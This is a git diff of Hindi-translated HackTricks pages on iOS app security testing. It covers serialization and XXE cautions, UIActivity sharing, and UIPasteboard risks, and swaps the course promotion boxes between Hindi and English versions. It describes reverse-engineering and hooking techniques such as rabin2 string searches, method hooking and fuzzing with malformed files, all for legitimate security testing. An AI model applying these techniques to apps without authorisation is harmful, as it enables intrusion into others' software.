let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as? CustomPoint
|
||||||
```
|
```
|
||||||
### `Codable` का उपयोग सरल सिरियलाइज़ेशन के लिए
|
### Using `Codable` for Simplified Serialization
|
||||||
स्विफ्ट का `Codable` प्रोटोकॉल `Decodable` और `Encodable` को जोड़ता है, जो `String`, `Int`, `Double` आदि जैसे ऑब्ज
|
स्विफ्ट का `Codable` प्रोटोकॉल `Decodable` और `Encodable` को मिलाता है, जिससे `String`, `Int`, `Double` आदि जैसे ऑब्जेक्ट्स का एन्कोडिंग और डिकोडिंग बिना अतिरिक्त प्रयास के किया जा सकता है:
|
||||||
```swift
|
```swift
|
||||||
struct CustomPointStruct: Codable {
|
struct CustomPointStruct: Codable {
|
||||||
var x: Double
|
var x: Double
|
||||||
var name: String
|
var name: String
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
यह दृष्टिकोण सीधे सीरीयलाइजेशन का समर्थन करता है और प्रॉपर्टी सूचियों और JSON से डेटा हैंडलिंग को बढ़ावा देता है।
|
यह दृष्टिकोण प्रॉपर्टी सूचियों और JSON के लिए सीधे सीरियलाइजेशन का समर्थन करता है, जो स्विफ्ट अनुप्रयोगों में डेटा प्रबंधन को बढ़ाता है।
|
||||||
|
|
||||||
## JSON और XML एन्कोडिंग विकल्प
|
## JSON और XML एन्कोडिंग विकल्प
|
||||||
नेटिव समर्थन के अतिरिक्त, कई थर्ड-पार्टी लाइब्रेरी JSON और XML एन्कोडिंग/डिकोडिंग क्षमताएँ प्रदान करती हैं, प्रत्येक के अपने प्रदर्शन विशेषताएँ और सुरक्षा विचार होते हैं। विशेष रूप से XXE (XML External Entities) हमलों जैसी भेदभाव से बचने के लिए पार्सर को विदेशी एंटिटी प्रोसेसिंग रोकने के लिए कॉन्फ़िगर करके इन लाइब्रेरीज़ का चयन सावधानीपूर्वक करना आवश्यक है।
|
स्थानीय समर्थन के अलावा, कई तृतीय-पक्ष पुस्तकालय JSON और XML एन्कोडिंग/डिकोडिंग क्षमताएँ प्रदान करते हैं, प्रत्येक के अपने प्रदर्शन विशेषताएँ और सुरक्षा विचार होते हैं। इन पुस्तकालयों का सावधानीपूर्वक चयन करना अनिवार्य है, विशेष रूप से XXE (XML एक्सटर्नल एंटिटीज़) हमलों जैसी कमजोरियों को कम करने के लिए पार्सर्स को कॉन्फ़िगर करके बाहरी एंटिटी प्रोसेसिंग को रोकना।
|
||||||
|
|
||||||
### सुरक्षा विचार
|
### सुरक्षा विचार
|
||||||
डेटा को सीरीयलाइज करते समय, विशेष रूप से फ़ाइल सिस्टम में, संवेदनशील जानकारी के संभावित समावेश के बारे में सतर्क रहना महत्वपूर्ण है। सीरीयलाइज़ किए गए डेटा को अगर अवैध रूप से हैंडल किया जाए या अधिकारहीन क्रियाओं या डेटा लीकेज़ जैसे जोखिमों को एप्लिकेशन के सामने खोल सकता है। सीरीयलाइज़ किए गए डेटा को एन्क्रिप्ट और साइन करना सुरक्षा को बढ़ाने के लिए सिफारिश किया जाता है।
|
डेटा को सीरियलाइज करते समय, विशेष रूप से फ़ाइल सिस्टम के लिए, संवेदनशील जानकारी के संभावित समावेश के प्रति सतर्क रहना आवश्यक है। सीरियलाइज्ड डेटा, यदि इंटरसेप्ट किया जाता है या गलत तरीके से संभाला जाता है, तो अनुप्रयोगों को अनधिकृत क्रियाओं या डेटा लीक जैसे जोखिमों के प्रति उजागर कर सकता है। सुरक्षा बढ़ाने के लिए सीरियलाइज्ड डेटा को एन्क्रिप्ट और साइन करना अनुशंसित है।
|
||||||
|
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/#object-persistence)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का विज्ञापन **HackTricks** में देखना चाहते हैं या **PDF में HackTricks डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फ़ॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,78 +1,80 @@
|
||||||
# iOS UIActivity Sharing
|
# iOS UIActivity Sharing
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos को PR जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
# UIActivity Sharing Simplified
|
# UIActivity Sharing Simplified
|
||||||
|
|
||||||
iOS 6 के बाद, थर्ड-पार्टी एप्लिकेशनों को **डेटा साझा करने** की अनुमति दी गई है जैसे AirDrop का उपयोग करके, जैसा कि Apple के [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) में विस्तार से व्यक्त किया गया है। यह सुविधा एक सिस्टम-व्यापी _शेयर एक्टिविटी शीट_ के माध्यम से प्रकट होती है जो "शेयर" बटन के साथ इंटरैक्ट करने पर सामने आती है।
|
iOS 6 से शुरू होकर, तीसरे पक्ष के अनुप्रयोगों को **डेटा साझा करने** की अनुमति दी गई है जैसे कि टेक्स्ट, URL, या छवियाँ, एयर्ड्रॉप जैसी तंत्रों का उपयोग करके, जैसा कि एप्पल के [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3) में वर्णित है। यह सुविधा एक प्रणाली-व्यापी _शेयर गतिविधि शीट_ के माध्यम से प्रकट होती है जो "Share" बटन के साथ बातचीत करने पर प्रकट होती है।
|
||||||
|
|
||||||
सभी इनबिल्ट शेयरिंग विकल्पों की व्यापक गणना [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype) पर उपलब्ध है। डेवलपर अपने एप्लिकेशन के लिए अनुचित मानते हैं तो वे कुछ शेयरिंग विकल्पों को छोड़ सकते हैं।
|
सभी अंतर्निहित साझा करने के विकल्पों की एक व्यापक सूची [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype) पर उपलब्ध है। डेवलपर्स विशिष्ट साझा करने के विकल्पों को बाहर करने का विकल्प चुन सकते हैं यदि वे उन्हें अपने अनुप्रयोग के लिए अनुपयुक्त मानते हैं।
|
||||||
|
|
||||||
## **डेटा साझा करने का तरीका**
|
## **How to Share Data**
|
||||||
|
|
||||||
ध्यान दिया जाना चाहिए:
|
ध्यान निम्नलिखित पर केंद्रित होना चाहिए:
|
||||||
|
|
||||||
- साझा किए जा रहे डेटा का प्रकृति।
|
- साझा किए जा रहे डेटा की प्रकृति।
|
||||||
- कस्टम एक्टिविटी का समावेश।
|
- कस्टम गतिविधियों का समावेश।
|
||||||
- कुछ एक्टिविटी प्रकारों को छोड़ना।
|
- कुछ गतिविधि प्रकारों का बहिष्कार।
|
||||||
|
|
||||||
साझा करना `UIActivityViewController` का निर्माण करके सुविधा प्रदान किया जाता है, जिसमें साझा करने के लिए इच्छित आइटम पास किए जाते हैं। यह इसे कॉल करके प्राप्त किया जाता है:
|
साझा करना `UIActivityViewController` के निर्माण के माध्यम से सुगम बनाया गया है, जिसमें साझा करने के लिए इच्छित आइटम पास किए जाते हैं। यह निम्नलिखित द्वारा प्राप्त किया जाता है:
|
||||||
```bash
|
```bash
|
||||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||||
```
|
```
|
||||||
डेवलपर्स को `UIActivityViewController` को जांचना चाहिए जिसमें यह शुरू किया गया है, उसमें कौन सी गतिविधियाँ और कस्टम गतिविधियाँ हैं, साथ ही किसी निर्दिष्ट `excludedActivityTypes` को।
|
Developers को `UIActivityViewController` की गतिविधियों और कस्टम गतिविधियों की जांच करनी चाहिए जिनसे इसे प्रारंभ किया गया है, साथ ही किसी भी निर्दिष्ट `excludedActivityTypes` की भी।
|
||||||
|
|
||||||
## **डेटा प्राप्त करने का तरीका**
|
## **डेटा प्राप्त करने का तरीका**
|
||||||
|
|
||||||
निम्नलिखित पहलुओं में महत्वपूर्ण हैं जब डेटा प्राप्त किया जाता है:
|
डेटा प्राप्त करते समय निम्नलिखित पहलू महत्वपूर्ण हैं:
|
||||||
|
|
||||||
- **कस्टम दस्तावेज़ प्रकार** की घोषणा।
|
- **कस्टम दस्तावेज़ प्रकारों** की घोषणा।
|
||||||
- ऐप जो दस्तावेज़ खोल सकता है की **दस्तावेज़ प्रकार की निर्देशिका**।
|
- **दस्तावेज़ प्रकारों** का निर्दिष्ट करना जिन्हें ऐप खोल सकता है।
|
||||||
- प्राप्त किए गए डेटा की **मान्यता की पुष्टि**।
|
- **प्राप्त डेटा की अखंडता** की पुष्टि करना।
|
||||||
|
|
||||||
स्रोत कोड तक पहुंच के बिना, कोई भी `Info.plist` की जांच कर सकता है जैसे `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, और `CFBundleDocumentTypes` जैसे कुंजी जिससे एक ऐप दस्तावेज़ के प्रकार को संभाल सकता है और घोषित कर सकता है।
|
स्रोत कोड तक पहुंच के बिना, कोई `Info.plist` में `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, और `CFBundleDocumentTypes` जैसे कुंजी की जांच कर सकता है ताकि यह समझ सके कि एक ऐप किन दस्तावेज़ प्रकारों को संभाल और घोषित कर सकता है।
|
||||||
|
|
||||||
इन कुंजियों पर एक संक्षिप्त मार्गदर्शिका [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) पर उपलब्ध है, जो सिस्टम-व्यापी मान्यता के लिए UTIs की परिभाषा और दस्तावेज़ प्रकारों को आपके ऐप के साथ जोड़ने की महत्वता को उजागर करती है "Open With" संवाद में एकीकरण के लिए।
|
इन कुंजी पर एक संक्षिप्त मार्गदर्शिका [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i) पर उपलब्ध है, जो सिस्टम-व्यापी पहचान के लिए UTIs को परिभाषित और आयात करने के महत्व को उजागर करती है और "Open With" संवाद में आपके ऐप के साथ दस्तावेज़ प्रकारों को जोड़ती है।
|
||||||
|
|
||||||
## गतिशील परीक्षण दृष्टिकोण
|
## डायनामिक परीक्षण दृष्टिकोण
|
||||||
|
|
||||||
**गतिविधियों को भेजने** का परीक्षण करने के लिए, व्यक्ति:
|
**गतिविधियों को भेजने** के लिए, कोई:
|
||||||
|
|
||||||
- `init(activityItems:applicationActivities:)` विधि में हुक कर सकता है ताकि साझा किए जा रहे आइटम और गतिविधियों को कैप्चर किया जा सके।
|
- साझा की जा रही वस्तुओं और गतिविधियों को कैप्चर करने के लिए `init(activityItems:applicationActivities:)` विधि में हुक कर सकता है।
|
||||||
- `excludedActivityTypes` संपत्ति को अंतर्दृष्टि करके छोड़ी गई गतिविधियों की पहचान कर सकता है।
|
- `excludedActivityTypes` प्रॉपर्टी को इंटरसेप्ट करके बाहर की गई गतिविधियों की पहचान कर सकता है।
|
||||||
|
|
||||||
**आइटम प्राप्त करने** के लिए, इसमें शामिल है:
|
**वस्तुओं को प्राप्त करने** के लिए, इसमें शामिल है:
|
||||||
|
|
||||||
- एप्लिकेशन के साथ एक फ़ाइल साझा करना अन्य स्रोत से (जैसे, AirDrop, ईमेल) जो "Open with..." संवाद को प्रोत्साहित करता है।
|
- किसी अन्य स्रोत (जैसे, AirDrop, ईमेल) से ऐप के साथ एक फ़ाइल साझा करना जो "Open with..." संवाद को प्रेरित करता है।
|
||||||
- स्थिर विश्लेषण के दौरान पहचानी गई अन्य विधियों के साथ `application:openURL:options:` को हुक करना ऐप के प्रतिक्रिया को देखने के लिए।
|
- ऐप की प्रतिक्रिया को देखने के लिए स्थैतिक विश्लेषण के दौरान पहचानी गई अन्य विधियों के बीच `application:openURL:options:` में हुक करना।
|
||||||
- ऐप की मजबूती का मूल निर्मित फ़ाइल या फजिंग तकनीकों का उपयोग करना।
|
- ऐप की मजबूती का मूल्यांकन करने के लिए गलत फ़ाइलों या फज़िंग तकनीकों का उपयोग करना।
|
||||||
|
|
||||||
## संदर्भ
|
## संदर्भ
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* यदि आप अपनी कंपनी का **विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) की जांच करें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* प्राप्त करें [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com)
|
|
||||||
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह।
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,56 +1,57 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
HackTricks का समर्थन करने के अन्य तरीके:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
|
||||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
|
||||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
|
|
||||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
iOS उपकरणों पर एप्लिकेशनों के भीतर और उनके बीच डेटा साझा करने की सुविधा [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) तंत्र द्वारा सुविधित है, जो दो मुख्य श्रेणियों में विभाजित है:
|
iOS उपकरणों पर अनुप्रयोगों के भीतर और उनके बीच डेटा साझा करने की प्रक्रिया [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) तंत्र द्वारा की जाती है, जिसे दो मुख्य श्रेणियों में विभाजित किया गया है:
|
||||||
|
|
||||||
- **सिस्टम व्यापक पेस्टबोर्ड**: यह **किसी भी एप्लिकेशन** के साथ डेटा साझा करने के लिए उपयोग किया जाता है और डिवाइस पुनरारंभ और ऐप के अनइंस्टॉलेशन के बीच डेटा को स्थायी रूप से बनाए रखने की योजना बनाई गई है, जो iOS 10 से उपलब्ध है।
|
- **सिस्टमव्यापी सामान्य पेस्टबोर्ड**: इसका उपयोग **किसी भी अनुप्रयोग** के साथ डेटा साझा करने के लिए किया जाता है और इसे डिवाइस के पुनरारंभ और ऐप अनइंस्टॉल के दौरान डेटा को बनाए रखने के लिए डिज़ाइन किया गया है, यह सुविधा iOS 10 से उपलब्ध है।
|
||||||
- **कस्टम / नेम्ड पेस्टबोर्ड**: ये एक ऐप के भीतर या एक और एप्लिकेशन के साथ डेटा साझा करने के लिए विशेष रूप से हैं जो एक ही टीम आईडी को साझा करते हैं, और इन्ट्रोड्यूस्ड चेंजेस के अनुसार ये ऐप्लिकेशन प्रक्रिया के जीवन से आगे नहीं बढ़ने के लिए डिज़ाइन किए गए हैं।
|
- **कस्टम / नामित पेस्टबोर्ड**: ये विशेष रूप से **एक ऐप के भीतर या किसी अन्य ऐप के साथ** डेटा साझा करने के लिए होते हैं जो समान टीम आईडी साझा करते हैं, और इन्हें उन अनुप्रयोग प्रक्रिया के जीवन से परे बनाए रखने के लिए डिज़ाइन नहीं किया गया है जो इन्हें बनाते हैं, जो iOS 10 में किए गए परिवर्तनों का पालन करते हैं।
|
||||||
|
|
||||||
**सुरक्षा संबंधित विचार** का महत्वपूर्ण भूमिका होता है जब पेस्टबोर्ड का उपयोग किया जाता है। उदाहरण के लिए:
|
**सुरक्षा विचार** पेस्टबोर्ड का उपयोग करते समय महत्वपूर्ण भूमिका निभाते हैं। उदाहरण के लिए:
|
||||||
- उपयोगकर्ताओं के लिए **पेस्टबोर्ड तक पहुंचने के लिए एप परमिशन** का कोई तंत्र नहीं है।
|
- उपयोगकर्ताओं के लिए **पेस्टबोर्ड** तक पहुंच के लिए ऐप अनुमतियों को प्रबंधित करने का कोई तंत्र नहीं है।
|
||||||
- पेस्टबोर्ड की गैर-अधिकृत पृष्ठभूमि निगरानी के जोखिम को कम करने के लिए पहुंच को उनके एप्लिकेशन फॉरग्राउंड में होने पर सीमित किया गया है (iOS 9 से).
|
- पेस्टबोर्ड की अनधिकृत पृष्ठभूमि निगरानी के जोखिम को कम करने के लिए, पहुंच को तब तक सीमित किया गया है जब तक अनुप्रयोग अग्रभूमि में है (iOS 9 से)।
|
||||||
- गोपनीयता संबंधित चिंताओं के कारण साझा कंटेनर्स की तुलना में परिस्थितिक नेम्ड पेस्टबोर्ड का उपयोग निषेधित है।
|
- गोपनीयता चिंताओं के कारण साझा कंटेनरों के पक्ष में स्थायी नामित पेस्टबोर्ड के उपयोग की सिफारिश नहीं की जाती है।
|
||||||
- iOS 10 के साथ पेश किया गया **यूनिवर्सल क्लिपबोर्ड** फीचर, जो सामान को सामान्य पेस्टबोर्ड के माध्यम से उपकरणों के बीच साझा करने की अनुमति देता है, उसे डेवलपर्स द्वारा डेटा समाप्ति सेट करने और स्वचालित सामग्री स्थानांतरण को निषेधित करने के लिए प्रबंधित किया जा सकता है।
|
- iOS 10 के साथ पेश की गई **यूनिवर्सल क्लिपबोर्ड** सुविधा, जो सामान्य पेस्टबोर्ड के माध्यम से उपकरणों के बीच सामग्री साझा करने की अनुमति देती है, डेवलपर्स द्वारा डेटा समाप्ति सेट करने और स्वचालित सामग्री स्थानांतरण को अक्षम करने के लिए प्रबंधित की जा सकती है।
|
||||||
|
|
||||||
**सुनिश्चित करना कि संवेदनशील जानकारी अनजाने में स्टोर नहीं हो रही है** ग्लोबल पेस्टबोर्ड पर महत्वपूर्ण है। इसके अतिरिक्त, एप्लिकेशन को अनजाने कार्रवाई के लिए ग्लोबल पेस्टबोर्ड डेटा का दुरुपयोग रोकने के लिए डिज़ाइन किया जाना चाहिए, और डेवलपर्स को संवेदनशील जानकारी को क्लिपबोर्ड पर कॉपी करने से रोकने के उपाय लेने की सलाह दी जाती है।
|
यह सुनिश्चित करना कि **संवेदनशील जानकारी अनजाने में** वैश्विक पेस्टबोर्ड पर संग्रहीत नहीं हो, महत्वपूर्ण है। इसके अतिरिक्त, अनुप्रयोगों को इस तरह से डिज़ाइन किया जाना चाहिए कि वैश्विक पेस्टबोर्ड डेटा का दुरुपयोग अनपेक्षित क्रियाओं के लिए न हो, और डेवलपर्स को संवेदनशील जानकारी को क्लिपबोर्ड पर कॉपी करने से रोकने के लिए उपाय लागू करने के लिए प्रोत्साहित किया जाता है।
|
||||||
|
|
||||||
### स्थैतिक विश्लेषण
|
### स्थैतिक विश्लेषण
|
||||||
|
|
||||||
स्थैतिक विश्लेषण के लिए, स्रोत कोड या बाइनरी में खोजें:
|
स्थैतिक विश्लेषण के लिए, स्रोत कोड या बाइनरी में खोजें:
|
||||||
- **`generalPasteboard`** का उपयोग करने के लिए **सिस्टम व्यापक पेस्टबोर्ड** की पहचान करने के लिए।
|
- `generalPasteboard` का उपयोग **सिस्टमव्यापी सामान्य पेस्टबोर्ड** की पहचान करने के लिए।
|
||||||
- **`pasteboardWithName:create:`** और **`pasteboardWithUniqueName`** के लिए **कस्टम पेस्टबोर्ड** बनाने के लिए। पुषिष्टि करें कि स्थायित्व सक्षम है, हालांकि यह अप्रचलित है।
|
- `pasteboardWithName:create:` और `pasteboardWithUniqueName` का उपयोग **कस्टम पेस्टबोर्ड** बनाने के लिए। सत्यापित करें कि क्या स्थिरता सक्षम है, हालांकि यह अप्रचलित है।
|
||||||
|
|
||||||
### गतिशील विश्लेषण
|
### गतिशील विश्लेषण
|
||||||
|
|
||||||
गतिशील विश्लेषण में विशेष विधियों को हुक या ट्रेस करना शामिल है:
|
गतिशील विश्लेषण में विशिष्ट विधियों को हुक करना या ट्रेस करना शामिल है:
|
||||||
- **सिस्टम व्यापक पेस्टबोर्ड** के उपयोग के लिए `generalPasteboard` को मॉनिटर करें।
|
- सिस्टम-व्यापी उपयोग के लिए `generalPasteboard` की निगरानी करें।
|
